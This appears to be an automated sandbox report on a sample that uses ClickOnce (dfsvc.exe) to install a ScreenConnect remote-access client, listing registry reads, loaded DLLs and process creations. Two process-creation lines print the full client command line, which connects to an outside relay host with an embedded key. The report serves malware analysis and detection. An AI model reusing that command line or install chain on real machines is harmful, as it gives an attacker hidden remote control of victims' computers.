Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4			Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect	Jump to behavior

Reads the System eventlog

Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect	Jump to behavior

System Summary

Detected potential unwanted application

Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

PE Siganture Subject Chain: CN="Connectwise, LLC", O="Connectwise, LLC", L=Tampa, S=Florida, C=US

Detected potential crypto function

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Code function: 0_2_0076A5E5	0_2_0076A5E5
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Code function: 0_2_00761BD4	0_2_00761BD4
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936ACD5B5	1_2_00007FF936ACD5B5
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936AF9369	1_2_00007FF936AF9369
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936AE2471	1_2_00007FF936AE2471
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936AC328D	1_2_00007FF936AC328D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936AFA1FD	1_2_00007FF936AFA1FD
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936AE31ED	1_2_00007FF936AE31ED
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936ABEFB6	1_2_00007FF936ABEFB6
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936ABAEF5	1_2_00007FF936ABAEF5
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936AD5D9A	1_2_00007FF936AD5D9A
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936AEACDB	1_2_00007FF936AEACDB
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936ACAE5F	1_2_00007FF936ACAE5F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936AEEB68	1_2_00007FF936AEEB68
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936AC9768	1_2_00007FF936AC9768
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936AD2880	1_2_00007FF936AD2880
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936AB6178	1_2_00007FF936AB6178
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936AD3111	1_2_00007FF936AD3111
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936AB1211	1_2_00007FF936AB1211
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936ABFA21	1_2_00007FF936ABFA21
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Code function: 4_2_00007FF936AC00D3	4_2_00007FF936AC00D3
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Code function: 4_2_00007FF936ABFE75	4_2_00007FF936ABFE75
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Code function: 4_2_00007FF936AC1410	4_2_00007FF936AC1410
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Code function: 4_2_00007FF936AC11D1	4_2_00007FF936AC11D1
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Code function: 4_2_00007FF936DAB150	4_2_00007FF936DAB150

One or more processes crash

Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7040 -s 1304

Uses 32bit PE files

Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, PopoutPanelTaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ProgramTaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, TaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'

Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: ScreenConnect.ClientService.dll.1.dr, WindowsLocalUserExtensions.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)

Source: classification engine

Classification label: mal51.evad.winEXE@9/70@2/2

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

0_2_00761000

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

File created: C:\Users\user\AppData\Local\Deployment

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7040
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\netfxeventlog.1.0
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6820

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

File created: C:\Users\user\AppData\Local\Temp\Deployment

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Command line argument: dfshim

0_2_00761000

Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Virustotal: Detection: 17%
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	ReversingLabs: Detection: 26%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe"
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=variols.ephelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQBN%2fsDy6XX2LDmcpyEoKK55JwThlRr7YHNGe39snOuHFtnjCyK72cZJH78V0V1YAf3iHC4VrBqpgJlkVuiU31AA%2fvSAfza7nhZjCa5ykV2NAakmwwsZZcF4P1vkpVkI7ANPAC%2bVyPuI2q4BXqVaSlq5q6E2QfxXeftcqNGKOU7f6LwNITHSyFLXqkb6omGbacpFoHOXIhxtO51vc7VoYDnePo%2bPLojTyIgk0TnsKSl3v5MmaDGdZnaRO%2fgpfn0w%2fd8d4r7vK%2b35r8AOTYEvrTtJo%2bk50eZpwyQ3Wb4JzVjk4643SyQu2kEB3raxmEp6Lu%2bCnvj%2fq6inamW4uCChS0u0&r=&i=" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7040 -s 1304
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6820 -s 860
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=variols.ephelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQBN%2fsDy6XX2LDmcpyEoKK55JwThlRr7YHNGe39snOuHFtnjCyK72cZJH78V0V1YAf3iHC4VrBqpgJlkVuiU31AA%2fvSAfza7nhZjCa5ykV2NAakmwwsZZcF4P1vkpVkI7ANPAC%2bVyPuI2q4BXqVaSlq5q6E2QfxXeftcqNGKOU7f6LwNITHSyFLXqkb6omGbacpFoHOXIhxtO51vc7VoYDnePo%2bPLojTyIgk0TnsKSl3v5MmaDGdZnaRO%2fgpfn0w%2fd8d4r7vK%2b35r8AOTYEvrTtJo%2bk50eZpwyQ3Wb4JzVjk4643SyQu2kEB3raxmEp6Lu%2bCnvj%2fq6inamW4uCChS0u0&r=&i=" "1"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Section loaded: dfshim.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dfshim.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: mscoree.dll	Jump to behavior
